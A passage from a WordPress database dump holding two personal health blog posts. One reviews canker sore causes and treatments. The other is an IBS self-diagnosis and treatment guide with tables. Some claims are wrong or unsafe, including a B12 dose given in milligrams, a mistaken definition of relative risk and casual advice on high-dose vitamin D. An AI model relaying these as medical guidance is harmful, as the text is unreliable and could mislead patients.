href=\"https://www.google.com/search?q=canker+sore+etymology&amp;sxsrf=ALeKk02NKAi9PzEkpqOgUWBtXYJ0BhXDGA%3A1620315205331&amp;source=hp&amp;ei=RQyUYMu7EIORggeC0pfIAg&amp;iflsig=AINFCbYAAAAAYJQaVRQ_2rWV9x9akDR1pJB645TEZhkj&amp;oq=canker+sore+etym&amp;gs_lcp=Cgdnd3Mtd2l6EAMYADICCAAyBggAEBYQHjIGCAAQFhAeMgUIABCGAzIFCAAQhgMyBQgAEIYDMgUIABCGAzoECCMQJzoKCC4QxwEQrwEQJzoECC4QJzoFCAAQkQI6CAgAELEDEIMBOgsIABCxAxCDARCLAzoOCC4QsQMQxwEQowIQiwM6BQgAEIsDOgUILhCLAzoLCC4QsQMQxwEQowI6BQgAELEDOhcILhCxAxCDARCLAxCbAxCYAxCaAxCoAzoICAAQsQMQiwM6BQguELEDOggILhDHARCvAVDUAVjZFmD8HWgBcAB4AIABhwGIAcMMkgEEMTIuNZgBAKABAaoBB2d3cy13aXq4AQI&amp;sclient=gws-wiz\">“cancer”</a>, which comes from back when any ulcer was seen as a tumor. So, the American name is “cancer sore”, which is a dumb name.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The technical term for them are aphthous ulcers. This is also a dumb name, as aphthous means <a href=\"https://en.wikipedia.org/wiki/Aphthous_stomatitis#:~:text=An%20aphtha%20(plural%20aphthae)%20is,eruption%22%20or%20%22ulcer%22.\">“ulcer” in Greek</a>, so this is just “ulcer ulcer”. Nowadays, “aphthae” refers to any mouth ulcer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, the repeated formation of aphthous ulcers is called “aphthous stomatitis”. Stomatitis is “<a href=\"https://en.wikipedia.org/wiki/Stomatitis\">inflammation of the mouth or lip</a>”. So the repeated formation is “mouth ulcers related to inflammation of the mouth or lip”. It’s a slightly better name.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll be using any of these terms interchangeably, but they tend to use aphthous stomatitis in the medical literature.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>The cause of canker sores</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The cause of canker sores is...unknown.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sorry guys! Essay over.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Just kidding. You’ll actually see that on Wikipedia, but I think it makes more sense to say canker sores are a symptom, and they can have a variety of causes. You see, aphthous ulcers look like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":224,\"height\":218} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://lh4.googleusercontent.com/1EgZ-vwKulSrn3XyAJnWzyVkQp4X1u8Tq_7jOuKK6StxtG7kPNbgWUoRKZhQiANr9NU0j6YXBmKHDNRmsK_b3fTq0vO4Z2Nwq4rAhNTNl-1NREgKHUyE5rnxY4Cr0dXP0VPK13AJ\" alt=\"\" width=\"224\" height=\"218\"/><figcaption><a href=\"https://upload.wikimedia.org/wikipedia/commons/thumb/2/21/Aphthe_Unterlippe.jpg/600px-Aphthe_Unterlippe.jpg\">Thanks Wikipedia!</a></figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>You’ll notice there’s a red outline, then a white covering. Now, take a look at this chemical burn from an herbal preparation on a palate:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://static-01.hindawi.com/articles/crid/volume-2015/196292/figures/196292.fig.001.svgz\" alt=\"\"/><figcaption><a href=\"https://www.hindawi.com/journals/crid/2015/196292/\">Thanks Hindawi</a>!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Pretty similar, right? Red surrounding a white film. There’s only a limited number of ways that your body can resolve oral injuries. Ulceration is one of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So aphthous stomatitis can be caused by anything that causes an ulceration response. That <a href=\"https://scihubtw.tw/10.1016/j.cden.2013.12.002\">includes</a> physical trauma, smoking, bacterial infection, autoimmune disorders, nutritional deficiencies, and stress.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, what’s frustrating is that none of these can guarantee a canker sore. Ultimately, that depends on your body’s wound healing and immune response, which is still a mystery in a lot of ways (and that I’ve written a lot about). There are probably genetic and environmental contributors, but no smoking guns.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, there have been some intriguing treatments for canker sores, which do suggest some other contributors for aphthous stomatitis. I’ll discuss those now.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Treatments for canker sores</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>What doctors will give you</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The treatments for canker sores that doctors will give you involve anti-inflammatories or numbing agents. I’ll cover those quickly because they’re not that interesting, with the help of <a href=\"https://scihubtw.tw/10.1016/j.cden.2013.12.002\">this review article</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First-line treatments are simple numbing agents, like benzocaine (which you’ll find in Orabase), or nonsteroidal anti inflammatory drugs like diclofenac.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More serious cases get more serious immunomodulatory treatments like glucocorticoids and tetracycline. Really serious cases get the big guns of immunosuppressants like thalidomide (yes that <a href=\"https://en.wikipedia.org/wiki/Thalidomide\">thalidomide</a>, the one with the birth defects).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Alternative treatments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These are more fun. There are a couple weird ones that I want to cover, and I’ll end with the one that I think is the most plausible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4>Vitamin C</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The first is ascorbate, or vitamin C. Vitamin C has a long history of being used in immunomodulating or immune system supporting conditions. Some people swear that vitamin C helps the common cold, but <a href=\"https://en.wikipedia.org/wiki/Vitamin_C_and_the_common_cold\">most studies haven’t borne that out</a>. Linus Pauling famously believed that it helped cure cancer, which, again, <a href=\"https://lpi.oregonstate.edu/mic/vitamins/vitamin-C\">studies really haven’t borne out</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, Vitamin C isn’t starting off on a great foot. Deficiency in vitamin C is definitely bad (and eventually leads to scurvy), but it’s not at all clear that extra vitamin C leads to anything good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only thing I’d say in vitamin C’s defense is that Linus Pauling advocated for intravenous supplementation vitamin C, which doesn’t have the same upper limits on concentration in the bloodstream that <a href=\"https://www.acpjournals.org/doi/10.7326/0003-4819-140-7-200404060-00010#:~:text=Our%20data%20show%20that%20vitamin,achieved%20by%20maximum%20oral%20consumption.\">oral vitamin C does</a>. Most of the studies debunking vitamin C have been done on oral vitamin C, which means that maybe, just maybe, the issue with the studies was that effective supplementation of vitamin C needs to reach a level higher in the bloodstream than possible with oral supplementation. Maybe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, this was most likely the thought process behind why <a href=\"https://scihubtw.tw/10.1111/j.1651-2227.2009.01628.x\">a Japanese team tried to use oral vitamin C to treat aphthous ulcers</a>, despite the well-publicized failures. They may also have been aware of the successes of <a href=\"https://europepmc.org/article/med/2019118\">topical vitamin C in corneal ulcers</a>. And, although they didn’t know this, they presaged <a href=\"https://www.cambridge.org/core/journals/british-journal-of-nutrition/article/vitamin-c-improves-healing-of-foot-ulcers-a-randomised-doubleblind-placebocontrolled-trial/B862F414BE336B09FC405A3510EBD318\">the limited success of oral vitamin C in foot ulcers</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, with that being said, the Japanese team did see a pretty great result in using vitamin C in aphthous ulcers, reducing the incidence of ulcers from 4 to almost 0 in their treatment groups. Unfortunately, they did this while running an incredibly shoddily designed trial, with zero blinding, patient self-reporting, and a very small sample size of 24.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My overall recommendation for vitamin C then is pretty equivocal. Vitamin C definitely will not hurt. Will it help? Eh...maybe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4>Lasers</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>So, technically, this is “low-level laser therapy”. The idea is that <a href=\"https://www.tandfonline.com/doi/abs/10.1080/13102818.2014.966526\">lasers are shone onto the ulcers and then they heal</a>. It’s not just any lasers though. It’s specific lasers at specific wavelengths and frequencies. So...science!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m going to say off the bat that this probably doesn’t work. It was done in Bulgaria, supports itself with papers from Bulgaria, has zero mechanical reason why it should work, has zero blinding or placebo, and the lead author clearly has a thing for lasers. Oh, also, when they do cite papers from more mainstream sources, they conveniently ignore the big review paper that said <a href=\"https://scihubtw.tw/10.1111/j.1524-4725.2005.31086\">low-level laser therapy has no effect on wound healing</a> that shows up at the top of Google’s search results.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, on the other hand, it’s fun. So let’s talk about it. According to them, after they shine lasers on the ulcers, they heal in 2 days. These have to be special lasers. This works, allegedly, way better than pharmacotherapy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The cost? <a href=\"https://www.realself.com/nonsurgical/low-level-laser-therapy\">Only $2500</a> (at least in the US)! So, each time you get an aphthous ulcer, you can look forward to shelling out $2500.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Net-net, probably not a great treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note: you can also find papers from India and Brazil about this, but they’re not much better]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4>Vitamin B-12</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This is actually my favorite study. Spoiler alert, sorry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, first of all, it saw positive results: over the course of 6 months of supplementation of 1000 mg sublingual B12, the average duration of aphthous stomatitis was decreased from 11 days to 2 days, and the number and pain level of aphthous stomatitis saw similar decreases.&nbsp; More importantly, this study was actually done well : it was a <a href=\"https://scihubtw.tw/10.3122/jabfm.2009.01.080113\">randomized, placebo-controlled, double-blind trial attached</a>. They even checked to make sure the patients actually took the pills by looking at their bottles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Other studies have seen similarly good results (<a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0002962915321406\">1</a>, <a href=\"https://www.cfp.ca/content/cfp/51/6/844.full.pdf#page=1\">2</a>, <a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1524904214001994\">3</a>). There are even suggestions of vitamin B12 deficiency being linked to <a href=\"https://www.scirp.org/journal/paperinformation.aspx?paperid=83362\">H. pylori infection</a>, which is the cause of gastric ulcers (although <a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0901502720302009\">there’s controversy over whether H. pylori can be a cause of aphthous ulcers</a>).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I were to recommend any treatment for canker sores, it’d be this one. In fact, over the course of researching this article, I got <a href=\"https://www.amazon.com/Kirkland-Signature-Quick-Dissolve-Tablets/dp/B00AQ0LMTC/ref=sr_1_5?dchild=1&amp;keywords=vitamin+b12&amp;qid=1620324249&amp;sr=8-5\">a giant tub of B12 from Kirkland Signature</a> for $12.65 from Amazon (not an affiliate link). I’d recommend you do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>The conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I think it\'s reasonably certain that vitamin B12 does help with canker sores. But why?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here\'s where I start speculating wildly (so be forewarned).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>B12 is a crucial vitamin for production of red blood cells. Lack of it causes <a href=\"https://en.wikipedia.org/wiki/Megaloblastic_anemia\">megaloblastic anemia</a>, which results in red blood cells not being able to mitose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Supplementing with B12 may allow for more rapid production of red blood cells, allowing for more efficient healing processes than ulceration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is this true? I have no idea. But it sounds legitimate, and nobody else has a better idea (seriously, even the papers on aphthous ulcers just throw their hands up when they\'re asked for a causative mechanism).</p>\n<!-- /wp:paragraph -->','How to treat canker sores according to science','','inherit','closed','closed','','80-revision-v1','','','2021-05-06 18:24:03','2021-05-06 18:24:03','',80,'https://trevorklee.com/?p=81',0,'revision','',0),
(83,1,'2021-05-24 15:00:10','2021-05-24 15:00:10','<!-- wp:simpletoc/toc {\"max_level\":3} /-->\n\n<!-- wp:paragraph -->\n<p><em>Note: I\'ve expanded this blog post into <a href=\"https://www.amazon.com/gp/product/B095N84C2K\">a full-length book</a>! Check it out!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I went through my own bout with IBS some years ago. It was really frustrating. It seemed to come out of nowhere. I spent a lot of money on a test for SIBO to see if that was the problem, but didn’t see any results. Then, it briefly seemed like I was cured, only to randomly become sensitive to gluten for a year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dealing with IBS was especially frustrating because of the unhelpful advice from doctors, family, and friends. Doctors would tell me it was all in my head. My family thought I had Crohn\'s. My friends just would get weirded out by the things I refused to eat, and try to nag me into trying just one muffin/beer/hot wing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, my IBS disappeared as suddenly as it came. Now, I’m mostly ok. But I still remember how frustrating and life-impairing IBS was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This article is what I wish I had back when I first got IBS. It’s not just another blog spam on the front page of Google, with the 5 things that literally every other blog spam tells you about IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a comprehensive guide to making sure you have IBS and not another disease, and then treating IBS. And I mean comprehensive. If I missed anything, tell me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the article, I list all my sources (and there are a lot!) and what I took from them. I also include my evaluation of the treatment options, as I know that can be an especially challenging thing for IBS patients to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re pressed for time, just scroll down and look at the tables. If you’re not, feel free to read everything.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>How can you be sure you have IBS?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>IBS is a diagnosis of exclusion. If you don’t have other conditions that can also cause stomach problems, then you probably have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most doctors skip straight to diagnosing IBS without thoroughly checking whether you might have these other conditions. That’s unfortunate, because, unlike IBS, some of these other conditions actually have cures. If you’re diagnosed correctly, your IBS could be solved a lot quicker.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, some of these conditions are much more serious than IBS. So, you definitely want to make sure you don’t have these other conditions, because, if you do, you’ll need to start treating them ASAP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a pretty exhaustive list of conditions that mimic IBS. Each row is a separate condition. Use it to potentially diagnose yourself. You’ll need laboratory tests to confirm whether you’re correct, but at least you’ll be able to advocate for yourself at the doctor’s office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve <em>italicized</em> the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn\'s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table {\"className\":\"is-style-regular\"} -->\n<figure class=\"wp-block-table is-style-regular\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR <em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR <em>unexplained weight loss</em> OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em> OR <em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR <em>fever</em> OR <em>unexplained weight loss</em> OR growth retardation</td><td></td><td>Crohn\'s disease</td></tr><tr><td>Joint pain OR <em>cold intolerance</em> OR constipation OR depression OR heavy menstrual flow OR unexplained weight gain or <em>fatigue </em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec) </em>OR <em>opioids</em> OR <em>gastric bypass</em> OR <em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR <em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65 </em>OR <em>African American</em> OR <em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool <em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or <em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR <em>feeling of fullness or burning in your stomach</em> OR blood in your vomit or stool.<br></td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>Constipation OR diarrhea OR nausea OR <em>a feeling of early fullness</em></td><td></td><td>A motility disorder, like slow transit constipation</td></tr><tr><td></td><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td><td></td></tr><tr><td><em>Constipation since early childhood</em></td><td></td><td>Hirschsprung\'s disease</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain<br></td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em> OR diarrhea OR <em>shortness of breath</em> OR <em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Steps to treat IBS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve made it through the whole list above and none of those apply to you, you probably just have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s more likely you have IBS if you have a history of anxiety or depression, are female, or especially if you’ve <em>recently had a stomach bug</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now you’re looking for treatment. Good on you! My recommendations are to start with a food restriction diet. Take away everything but chicken and rice, then slowly add the rest back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have diarrhea, you might try a low FODMAP diet, eating small, regular portions, and/or limiting gassy foods like beans, cabbages, and onions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have constipation, you might try psyllium or linseed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want to try medication, I’d recommend very high doses of cholecalciferol (Vitamin D3), like 50k IU every 2 weeks. You might also try peppermint oil for short term diarrhea relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s my short list. For my long list, including evaluation and limitations of treatments, read on!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Treatment Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Potential IBS treatment</strong></td><td><strong>Evaluation</strong></td><td><strong>Limitations</strong></td></tr><tr><td>Low FODMAP</td><td>Low FODMAP diets seem to work. It doesn’t necessarily work better than just eating normal portions at regular times and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</td><td>The studies are only 1-3 months. It’s not clear what happens if you resume a normal diet after that time span.<br>The studies aren’t very well designed.</td></tr><tr><td>Gluten free diet (for non celiac)</td><td>It can work, but there’s not a big effect.</td><td>It only works for people who are sensitive to gluten (it’s not for anyone with IBS).</td></tr><tr><td>Fiber</td><td>Bran and insoluble fiber are probably not effective in any form of IBS.<br>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective in all forms of IBS. Linseed seems like it’s probably better than psyllium.&nbsp;</td><td>All studies were done over a max of 1-3 months.<br>The studies aren’t very well designed.</td></tr><tr><td>Laxatives</td><td>Laxatives work.</td><td>They may not prevent constipation, especially in older patients</td></tr><tr><td>Anti spasmodics (dicyclomine, peppermint oil, pinaverium, trimebutine)</td><td>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</td><td></td></tr><tr><td>Discontinuation of proton pump inhibitors</td><td>Not really a cure for IBS, but PPI overuse does lead to SIBO.</td><td></td></tr><tr><td>Antidepressants</td><td>Antidepressants probably work if your IBS is caused by depression or anxiety. It’s unclear whether they work if you don’t.</td><td>Antidepressants aren’t more effective in IBS than therapy.<br>It’s unclear if the type of antidepressant matters, but it most likely varies from person to person.</td></tr><tr><td>Rifaximin</td><td>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</td><td></td></tr><tr><td>Vitamin D3</td><td>Very high doses of vitamin D every 2 weeks (50,000 IU) probably improve IBS symptoms.</td><td>Taking really high doses of vitamin D can cause side effects. If you get side effects, stop taking vitamin D.</td></tr><tr><td>Soy isoflavones</td><td>Soy isoflavones may improve IBS in women.&nbsp;</td><td>There aren’t really good studies in men. There are no good long term studies either.</td></tr><tr><td>Acupuncture</td><td>Real acupuncture works just as well as fake acupuncture (having someone pretend to stick needles in you). Both work ok.</td><td></td></tr><tr><td>Probiotics</td><td>Probiotics may have a small effect.</td><td>The type of bacteria in the probiotic and the formulation matters a lot, as a lot of probiotics are useless or destroyed in the stomach.</td></tr><tr><td>Mesalazine</td><td>Mesalazine is probably not effective in IBS.</td><td></td></tr><tr><td>Loperamide</td><td>Loperamide is helpful for diarrhea and diarrhea-related symptoms.</td><td>There aren\'t great long-term studies. It may make pain at night worse.</td></tr><tr><td>Fecal microbiota transplant</td><td>Sometimes really helpful, sometimes not helpful at all.</td><td>Nasojejunal tube and colonoscopy seem like they work better than capsule for administration.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Evidence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I evaluated the evidence</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Evaluating evidence is hard in general, and evaluating evidence in IBS is no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll list out those problems, then list how I tried to solve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, there are specific IBS issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS has a variety of symptoms associated with it, and a treatment that fixes diarrhea will not necessarily fix constipation. This makes treatments difficult to measure in effectiveness. Some scientists try to make up for this by asking patients questions like, “Is your pain reduced?” or “Are you happy with your bowel movements?”, but those can be biased by treatments that treat only pain or depression without affecting IBS-specific symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To solve this, I tried to tease out the various effects that treatments had on different symptoms of IBS when I could. I paid especially close attention to questions that could be biased, which was a particular issue in antidepressants, as those will obviously make people happier with any treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS is also, obviously, really hard to diagnose. One study found that 30% of people with IBS-D actually have bile acid malabsorption. If that’s true, then 30% of the people in any IBS-D study don’t have IBS. What exactly does the study measure, then?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t have a good way of solving this, so I just hoped for the best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS studies are also often reliant on patient compliance, especially when testing dietary interventions like low FODMAP. This is...not great. <a href=\"https://journals.lww.com/ajg/Fulltext/2014/10002/Diet_Compliance_and_Its_Measurement_in_a_Clinical.1734.aspx\">This IBD study</a> found only 55% diet compliance (i.e. patients ate different food than prescribed almost half of the time). From my own experience, I had a girlfriend who did weight loss studies. Even when the study gave her food to take home, she would throw it out and just eat her own food because it tasted better. Needless to say, she did not tell the clinicians this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to solve this by avoiding studies that were reliant on patient compliance and self-reporting. If I couldn’t avoid the studies, I relied on them less for my recommendations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those are some IBS specific issues. Let’s talk about issues in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gold standard for a trial is placebo-controlled, double-blind and randomized. Placebo-controlled means that half the people get a fake treatment, so the experimenters can weed out any people who would have gotten better regardless of if they got the control.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Double blind means that neither the patient nor the experimenters know whether they are getting a real treatment, so nobody can cheat on their measurements or reports if they have a belief one way or another. Last, randomized means people get randomly assigned to placebo or treatment, so we end up with the same sorts of people in both groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reaching that gold standard is easier in some trials than in others. If we’re testing a treatment like gluten, it’s actually surprisingly easy if the experimenters are up for it. They just give every group a pill, and sometimes the pill contains wheat flour, sometimes rice flour. The experimenters don’t know which pills are which until all the measurements are done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we’re testing a treatment like low FODMAP, it’s impossible. Everyone knows which diet is the low FODMAP diet. There’s no faking it for either side. So, if a patient really believes low FODMAP will work for them, they might be a little more lax with their reports, (if they’re between a 1 and 2 on a scale, they might choose 2 more often than 1). An experimenter might do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to notice when studies were falling away from the gold standard, but I don’t want to just throw away all studies that don’t reach that standard. Then I’d have to throw away a lot of potential useful treatments. Instead, I weighted my judgments accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I was sure studies were performed well, I looked for consistently positive results. Any study can have a positive result once, especially if it’s a small study, in the same way that it’s easy to flip a coin 3 times and get all heads. But consistently getting heads when you flip a coin 100 times is a different story, and suggests there’s actually something there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for consistent results across measures. A treatment should improve IBS severity, overall satisfaction, and symptoms. If it only improves one measure, it suggests that measure might have been a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for big results in the form of big effect sizes vs. placebo. When there are treatments that can almost quadruple the effects of placebo like vitamin D, small effects like mesalazine which might work ok for some people didn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, I combined all these together and got my evaluations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some technical notes on how to read these.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RR, which is relative risk, is basically the number with the bad outcome over the number with the good outcome. So, the smaller RR is, the better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CI, which is confidence interval, just accounts for error in the measurement. In the first study below, the RR is estimated to be 0.69, but it might be between 0.54 and 0.88.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I2 (which should really be 